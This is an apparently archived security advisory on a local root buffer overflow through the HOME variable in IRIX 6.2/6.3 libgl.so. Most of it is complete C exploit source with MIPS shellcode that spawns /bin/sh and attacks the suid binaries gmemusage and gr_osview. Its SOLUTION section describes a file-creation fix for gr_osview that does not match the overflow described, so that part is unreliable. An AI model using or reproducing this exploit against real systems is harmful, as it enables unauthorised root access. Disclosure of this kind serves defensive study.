|
COMMAND chost/gr_osview SYSTEMS AFFECTED IRIX 6.2, 6.3 PROBLEM This bug was tested on an Indy running 6.2 and 6.3. There exists a buffer overflow vulnerability in the libgl.so library in the way the HOME environment variable is handled. It is possible to exploit this bug in several suid root binaries and locally gain root user privileges. This has been found by LSD. /*## copyright LAST STAGE OF DELIRIUM sep 1997 poland *://lsd-pl.net/ #*/ /*## libgl.so $HOME #*/ #define ADRNUM 500 #define PCHNUM 320 #define TMPNUM 500 #define NOPNUM 740 #define ALLIGN 3 char shellcode[]= "\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */ "\x24\x02\x03\xf3" /* li $v0,1011 */ "\x23\xff\x01\x14" /* addi $ra,$ra,276 */ "\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */ "\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */ "\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */ "\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */ "\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */ "\x03\xff\xff\xcc" /* syscall */ "/bin/sh" ; char jump[]= "\x03\xa0\x10\x25" /* move $v0,$sp */ "\x03\xe0\x00\x08" /* jr $ra */ ; char nop[]="\x24\x0f\x12\x34"; main(int argc,char **argv){ char buffer[10000],adr[4],pch[4],tmp[4],*b,*envp[2]; int i,n=-1; printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland //lsd-pl.net/\n"); printf("libgl.so $HOME for irix 6.2 IP:20,22\n\n"); if(argc!=2){ printf("usage: %s {gmemusage|gr_osview}\n",argv[0]); exit(-1); } if(!strcmp(argv[1],"gmemusage")) n=0; if(!strcmp(argv[1],"gr_osview")) n=1; if(n==-1) exit(-1); *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10268+252+824+500; *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10268+252+824+31868; *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10268; envp[0]=buffer; envp[1]=0; b=buffer; sprintf(b,"HOME="); b+=5; for(i=0;i<ALLIGN;i++) *b++=0xff; for(i=0;i<TMPNUM;i++) *b++=tmp[i%4]; *b++=0xff; for(i=0;i<PCHNUM;i++) *b++=pch[i%4]; for(i=0;i<ALLIGN;i++) *b++=0xff; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b=0; switch(n){ case 0: execle("/usr/sbin/gmemusage","lsd",0,envp); case 1: execle("/usr/sbin/gr_osview","lsd",0,envp); } } SOLUTION These files are created to instruct gr_osview what quantities to monitor on a running system. Apart from waiting for SGI to change the way gr_osview opens/creates files (O_CREAT|O_EXCL|O_RDONLY) on the open, and a less generous creation mask (0444 would do just as well), the only solution is to disable gr_osview entirely.